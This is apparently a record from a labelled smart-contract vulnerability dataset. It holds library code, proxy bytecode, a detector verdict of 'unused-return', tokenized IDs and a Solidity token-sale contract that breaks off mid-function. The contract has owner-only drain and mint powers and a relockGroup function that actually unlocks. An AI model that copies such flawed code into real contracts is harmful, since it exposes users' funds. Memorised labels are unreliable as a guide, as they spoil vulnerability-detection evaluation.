https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220376cdf7db7039871140b75c4f1334e0459e4a0268846d614bdd6b0cc42e3c46c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 2278, 2692, 9468, 2549, 2497, 2487, 2546, 15136, 2475, 2063, 2581, 2620, 2546, 2620, 2063, 16086, 2509, 3676, 2098, 2620, 2581, 2278, 2581, 2509, 2063, 2475, 4402, 2549, 4246, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 1056, 28394, 2102, 4830, 2080, 9292, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 14526, 24087, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,642
0x971d048e737619884f2df75e31c7eb6412392328
pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract SparksterToken is StandardToken, Ownable{ using SafeMath for uint256; struct Member { mapping(uint256 => uint256) weiBalance; // How much wei has this member contributed for this group? } struct Group { bool distributed; // Whether or not tokens in this group have been distributed. bool distributing; // This flag is set when we first enter the distribute function and is there to prevent race conditions, since distribution might take a long time. bool unlocked; // Whether or not tokens in this group have been unlocked. mapping(address => bool) exists; // If exists[address] is true, this address has made a purchase on this group before. string name; uint256 ratio; // 1 eth:ratio tokens. This amount represents the decimal amount. ratio*10**decimal = ratio sparks. uint256 startTime; // Epoch of crowdsale start time. uint256 phase1endTime; // Epoch of phase1 end time. uint256 phase2endTime; // Epoch of phase2 end time. uint256 deadline; // No contributions allowed after this epoch. uint256 max2; // cap of phase2 uint256 max3; // Total ether this group can collect in phase 3. uint256 weiTotal; // How much ether has this group collected? uint256 cap; // The hard ether cap. uint256 nextDistributionIndex; // The next index to start distributing at. address[] addresses; // List of addresses that have made a purchase on this group. } address oracleAddress; bool public transferLock = true; // A Global transfer lock. Set to lock down all tokens from all groups. bool public allowedToBuyBack = false; bool public allowedToPurchase = false; string public name; // name for display string public symbol; //An identifier uint8 public decimals; //How many decimals to show. uint256 public penalty; uint256 public maxGasPrice; // The maximum allowed gas for the purchase function. uint256 internal nextGroupNumber; uint256 public sellPrice; // sellPrice wei:1 spark token; we won't allow to sell back parts of a token. mapping(address => Member) internal members; mapping(uint256 => Group) internal groups; uint256 public openGroupNumber; event WantsToPurchase(address walletAddress, uint256 weiAmount, uint256 groupNumber, bool inPhase1); event PurchasedCallbackOnAccept(uint256 groupNumber, address[] addresses); event WantsToDistribute(uint256 groupNumber); event NearingHardCap(uint256 groupNumber, uint256 remainder); event ReachedHardCap(uint256 groupNumber); event DistributeDone(uint256 groupNumber); event DistributedBatch(uint256 groupNumber, uint256 howMany); event AirdroppedBatch(address[] addresses); event RefundedBatch(address[] addresses); event AddToGroup(address walletAddress, uint256 groupNumber); event ChangedTransferLock(bool transferLock); event ChangedAllowedToPurchase(bool allowedToPurchase); event ChangedAllowedToBuyBack(bool allowedToBuyBack); event SetSellPrice(uint256 sellPrice); modifier onlyOwnerOrOracle() { require(msg.sender == owner || msg.sender == oracleAddress); _; } // Fix for the ERC20 short address attack http://vessenes.com/the-erc20-short-address-attack-explained/ modifier onlyPayloadSize(uint size) { require(msg.data.length == size + 4); _; } modifier canTransfer() { if (msg.sender != owner) { require(!transferLock); } _; } modifier canPurchase() { require(allowedToPurchase); _; } modifier canSell() { require(allowedToBuyBack); _; } function() public payable { purchase(); } constructor() public { name = "Sparkster"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "SPRK"; // Set the symbol for display purposes setMaximumGasPrice(40); mintTokens(435000000); } function setOracleAddress(address newAddress) public onlyOwner returns(bool success) { oracleAddress = newAddress; return true; } function removeOracleAddress() public onlyOwner { oracleAddress = address(0); } function setMaximumGasPrice(uint256 gweiPrice) public onlyOwner returns(bool success) { maxGasPrice = gweiPrice.mul(10**9); // Convert the gwei value to wei. return true; } function mintTokens(uint256 amount) public onlyOwner { // Here, we'll consider amount to be the full token amount, so we have to get its decimal value. uint256 decimalAmount = amount.mul(uint(10)**decimals); totalSupply_ = totalSupply_.add(decimalAmount); balances[msg.sender] = balances[msg.sender].add(decimalAmount); emit Transfer(address(0), msg.sender, decimalAmount); // Per erc20 standards-compliance. } function purchase() public canPurchase payable returns(bool success) { require(msg.sender != address(0)); // Don't allow the 0 address. Member storage memberRecord = members[msg.sender]; Group storage openGroup = groups[openGroupNumber]; require(openGroup.ratio > 0); // Group must be initialized. uint256 currentTimestamp = block.timestamp; require(currentTimestamp >= openGroup.startTime && currentTimestamp <= openGroup.deadline); //the timestamp must be greater than or equal to the start time and less than or equal to the deadline time require(!openGroup.distributing && !openGroup.distributed); // Don't allow to purchase if we're in the middle of distributing this group; Don't let someone buy tokens on the current group if that group is already distributed. require(tx.gasprice <= maxGasPrice); // Restrict maximum gas this transaction is allowed to consume. uint256 weiAmount = msg.value; // The amount purchased by the current member require(weiAmount >= 0.1 ether); uint256 weiTotal = openGroup.weiTotal.add(weiAmount); // Calculate total contribution of all members in this group. require(weiTotal <= openGroup.cap); // Check to see if accepting these funds will put us above the hard ether cap. uint256 userWeiTotal = memberRecord.weiBalance[openGroupNumber].add(weiAmount); // Calculate the total amount purchased by the current member if (!openGroup.exists[msg.sender]) { // Has this person not purchased on this group before? openGroup.addresses.push(msg.sender); openGroup.exists[msg.sender] = true; } if(currentTimestamp <= openGroup.phase1endTime){ // whether the current timestamp is in the first phase emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, true); return true; } else if (currentTimestamp <= openGroup.phase2endTime) { // Are we in phase 2? require(userWeiTotal <= openGroup.max2); // Allow to contribute no more than max2 in phase 2. emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, false); return true; } else { // We've passed both phases 1 and 2. require(userWeiTotal <= openGroup.max3); // Don't allow to contribute more than max3 in phase 3. emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, false); return true; } } function purchaseCallbackOnAccept(uint256 groupNumber, address[] addresses, uint256[] weiAmounts) public onlyOwnerOrOracle returns(bool success) { uint256 n = addresses.length; require(n == weiAmounts.length, "Array lengths mismatch"); Group storage theGroup = groups[groupNumber]; uint256 weiTotal = theGroup.weiTotal; for (uint256 i = 0; i < n; i++) { Member storage memberRecord = members[addresses[i]]; uint256 weiAmount = weiAmounts[i]; weiTotal = weiTotal.add(weiAmount); // Calculate the total amount purchased by all members in this group. memberRecord.weiBalance[groupNumber] = memberRecord.weiBalance[groupNumber].add(weiAmount); // Record the total amount purchased by the current member } theGroup.weiTotal = weiTotal; if (getHowMuchUntilHardCap_(groupNumber) <= 100 ether) { emit NearingHardCap(groupNumber, getHowMuchUntilHardCap_(groupNumber)); if (weiTotal >= theGroup.cap) { emit ReachedHardCap(groupNumber); } } emit PurchasedCallbackOnAccept(groupNumber, addresses); return true; } function insertAndApprove(uint256 groupNumber, address[] addresses, uint256[] weiAmounts) public onlyOwnerOrOracle returns(bool success) { uint256 n = addresses.length; require(n == weiAmounts.length, "Array lengtsh mismatch"); Group storage theGroup = groups[groupNumber]; for (uint256 i = 0; i < n; i++) { address theAddress = addresses[i]; if (!theGroup.exists[theAddress]) { theGroup.addresses.push(theAddress); theGroup.exists[theAddress] = true; } } return purchaseCallbackOnAccept(groupNumber, addresses, weiAmounts); } function callbackInsertApproveAndDistribute(uint256 groupNumber, address[] addresses, uint256[] weiAmounts) public onlyOwnerOrOracle returns(bool success) { uint256 n = addresses.length; require(n == weiAmounts.length, "Array lengths mismatch"); Group storage theGroup = groups[groupNumber]; if (!theGroup.distributing) { theGroup.distributing = true; } uint256 newOwnerSupply = balances[owner]; for (uint256 i = 0; i < n; i++) { address theAddress = addresses[i]; Member storage memberRecord = members[theAddress]; uint256 weiAmount = weiAmounts[i]; memberRecord.weiBalance[groupNumber] = memberRecord.weiBalance[groupNumber].add(weiAmount); // Record the total amount purchased by the current member uint256 additionalBalance = weiAmount.mul(theGroup.ratio); // Don't give cumulative tokens; one address can be distributed multiple times. if (additionalBalance > 0) { // No need to waste ticks if they have no tokens to distribute balances[theAddress] = balances[theAddress].add(additionalBalance); newOwnerSupply = newOwnerSupply.sub(additionalBalance); // Update the available number of tokens. emit Transfer(owner, theAddress, additionalBalance); // Notify exchanges of the distribution. } } balances[owner] = newOwnerSupply; emit PurchasedCallbackOnAccept(groupNumber, addresses); return true; } function refund(address[] addresses, uint256[] weiAmounts) public onlyOwnerOrOracle returns(bool success) { uint256 n = addresses.length; require (n == weiAmounts.length, "Array lengths mismatch"); uint256 thePenalty = penalty; for(uint256 i = 0; i < n; i++) { uint256 weiAmount = weiAmounts[i]; address theAddress = addresses[i]; if (thePenalty <= weiAmount) { weiAmount = weiAmount.sub(thePenalty); require(address(this).balance >= weiAmount); theAddress.transfer(weiAmount); } } emit RefundedBatch(addresses); return true; } function signalDoneDistributing(uint256 groupNumber) public onlyOwnerOrOracle { Group storage theGroup = groups[groupNumber]; theGroup.distributed = true; theGroup.distributing = false; emit DistributeDone(groupNumber); } function drain() public onlyOwner { owner.transfer(address(this).balance); } function setPenalty(uint256 newPenalty) public onlyOwner returns(bool success) { penalty = newPenalty; return true; } function buyback(uint256 amount) public canSell { // Can't sell unless owner has allowed it. uint256 decimalAmount = amount.mul(uint(10)**decimals); // convert the full token value to the smallest unit possible. require(balances[msg.sender].sub(decimalAmount) >= getLockedTokens_(msg.sender)); // Don't allow to sell locked tokens. balances[msg.sender] = balances[msg.sender].sub(decimalAmount); // Do this before transferring to avoid re-entrance attacks; will throw if result < 0. // Amount is considered to be how many full tokens the user wants to sell. uint256 totalCost = amount.mul(sellPrice); // sellPrice is the per-full-token value. require(address(this).balance >= totalCost); // The contract must have enough funds to cover the selling. balances[owner] = balances[owner].add(decimalAmount); // Put these tokens back into the available pile. msg.sender.transfer(totalCost); // Pay the seller for their tokens. emit Transfer(msg.sender, owner, decimalAmount); // Notify exchanges of the sell. } function fundContract() public onlyOwnerOrOracle payable { // For the owner to put funds into the contract. } function setSellPrice(uint256 thePrice) public onlyOwner { sellPrice = thePrice; } function setAllowedToBuyBack(bool value) public onlyOwner { allowedToBuyBack = value; emit ChangedAllowedToBuyBack(value); } function setAllowedToPurchase(bool value) public onlyOwner { allowedToPurchase = value; emit ChangedAllowedToPurchase(value); } function createGroup(string groupName, uint256 startEpoch, uint256 phase1endEpoch, uint256 phase2endEpoch, uint256 deadlineEpoch, uint256 phase2weiCap, uint256 phase3weiCap, uint256 hardWeiCap, uint256 ratio) public onlyOwner returns (bool success, uint256 createdGroupNumber) { createdGroupNumber = nextGroupNumber; Group storage theGroup = groups[createdGroupNumber]; theGroup.name = groupName; theGroup.startTime = startEpoch; theGroup.phase1endTime = phase1endEpoch; theGroup.phase2endTime = phase2endEpoch; theGroup.deadline = deadlineEpoch; theGroup.max2 = phase2weiCap; theGroup.max3 = phase3weiCap; theGroup.cap = hardWeiCap; theGroup.ratio = ratio; nextGroupNumber++; success = true; } function getGroup(uint256 groupNumber) public view returns(string groupName, bool distributed, bool unlocked, uint256 phase2cap, uint256 phase3cap, uint256 cap, uint256 ratio, uint256 startTime, uint256 phase1endTime, uint256 phase2endTime, uint256 deadline, uint256 weiTotal) { require(groupNumber < nextGroupNumber); Group storage theGroup = groups[groupNumber]; groupName = theGroup.name; distributed = theGroup.distributed; unlocked = theGroup.unlocked; phase2cap = theGroup.max2; phase3cap = theGroup.max3; cap = theGroup.cap; ratio = theGroup.ratio; startTime = theGroup.startTime; phase1endTime = theGroup.phase1endTime; phase2endTime = theGroup.phase2endTime; deadline = theGroup.deadline; weiTotal = theGroup.weiTotal; } function getHowMuchUntilHardCap_(uint256 groupNumber) internal view returns(uint256 remainder) { Group storage theGroup = groups[groupNumber]; if (theGroup.weiTotal > theGroup.cap) { // calling .sub in this situation will throw. return 0; } return theGroup.cap.sub(theGroup.weiTotal); } function getHowMuchUntilHardCap() public view returns(uint256 remainder) { return getHowMuchUntilHardCap_(openGroupNumber); } function addMemberToGroup(address walletAddress, uint256 groupNumber) public onlyOwner returns(bool success) { emit AddToGroup(walletAddress, groupNumber); return true; } function instructOracleToDistribute(uint256 groupNumber) public onlyOwner { Group storage theGroup = groups[groupNumber]; require(groupNumber < nextGroupNumber && !theGroup.distributed); // can't have already distributed emit WantsToDistribute(groupNumber); } function distributeCallback(uint256 groupNumber, uint256 howMany) public onlyOwnerOrOracle returns (bool success) { Group storage theGroup = groups[groupNumber]; require(!theGroup.distributed); if (!theGroup.distributing) { theGroup.distributing = true; } uint256 n = theGroup.addresses.length; uint256 nextDistributionIndex = theGroup.nextDistributionIndex; uint256 exclusiveEndIndex = nextDistributionIndex + howMany; if (exclusiveEndIndex > n) { exclusiveEndIndex = n; } uint256 newOwnerSupply = balances[owner]; for (uint256 i = nextDistributionIndex; i < exclusiveEndIndex; i++) { address theAddress = theGroup.addresses[i]; uint256 balance = getUndistributedBalanceOf_(theAddress, groupNumber); if (balance > 0) { // No need to waste ticks if they have no tokens to distribute balances[theAddress] = balances[theAddress].add(balance); newOwnerSupply = newOwnerSupply.sub(balance); // Update the available number of tokens. emit Transfer(owner, theAddress, balance); // Notify exchanges of the distribution. } } balances[owner] = newOwnerSupply; if (exclusiveEndIndex < n) { emit DistributedBatch(groupNumber, howMany); } else { // We've finished distributing people signalDoneDistributing(groupNumber); } theGroup.nextDistributionIndex = exclusiveEndIndex; // Usually not necessary if we've finished distribution, but if we don't update this, getHowManyLeftToDistribute will never show 0. return true; } function getHowManyLeftToDistribute(uint256 groupNumber) public view returns(uint256 remainder) { Group storage theGroup = groups[groupNumber]; return theGroup.addresses.length - theGroup.nextDistributionIndex; } function changeGroupInfo(uint256 groupNumber, uint256 startEpoch, uint256 phase1endEpoch, uint256 phase2endEpoch, uint256 deadlineEpoch, uint256 phase2weiCap, uint256 phase3weiCap, uint256 hardWeiCap, uint256 ratio) public onlyOwner returns (bool success) { Group storage theGroup = groups[groupNumber]; if (startEpoch > 0) { theGroup.startTime = startEpoch; } if (phase1endEpoch > 0) { theGroup.phase1endTime = phase1endEpoch; } if (phase2endEpoch > 0) { theGroup.phase2endTime = phase2endEpoch; } if (deadlineEpoch > 0) { theGroup.deadline = deadlineEpoch; } if (phase2weiCap > 0) { theGroup.max2 = phase2weiCap; } if (phase3weiCap > 0) { theGroup.max3 = phase3weiCap; } if (hardWeiCap > 0) { theGroup.cap = hardWeiCap; } if (ratio > 0) { theGroup.ratio = ratio; } return true; } function relockGroup(uint256 groupNumber) public onlyOwner returns(bool success) { groups[groupNumber].unlocked = true; return true; } function resetGroupInfo(uint256 groupNumber) public onlyOwner returns (bool success) { Group storage theGroup = groups[groupNumber]; theGroup.startTime = 0; theGroup.phase1endTime = 0; theGroup.phase2endTime = 0; theGroup.deadline = 0; theGroup.max2 = 0; theGroup.max3 = 0; theGroup.cap = 0; theGroup.ratio = 0; return true; } function unlock(uint256 groupNumber) public onlyOwner returns (bool success) { Group storage theGroup = groups[groupNumber]; require(theGroup.distributed); // Distribution must have occurred first. theGroup.unlocked = true; return true; } function setGlobalLock(bool value) public onlyOwner { transferLock = value; emit ChangedTransferLock(transferLock); } function burn(uint256 amount) public onlyOwner { // Burns tokens from the owner's supply and doesn't touch allocated tokens. // Decrease totalSupply and leftOver by the amount to burn so we can decrease the circulation. balances[msg.sender] = balances[msg.sender].sub(amount); // Will throw if result < 0 totalSupply_ = totalSupply_.sub(amount); // Will throw if result < 0 emit Transfer(msg.sender, address(0), amount); } function splitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { // SplitFactor is the multiplier per decimal of spark. splitFactor * 10**decimals = splitFactor sparks uint256 ownerBalance = balances[msg.sender]; uint256 multiplier = ownerBalance.mul(splitFactor); uint256 increaseSupplyBy = multiplier.sub(ownerBalance); // We need to mint 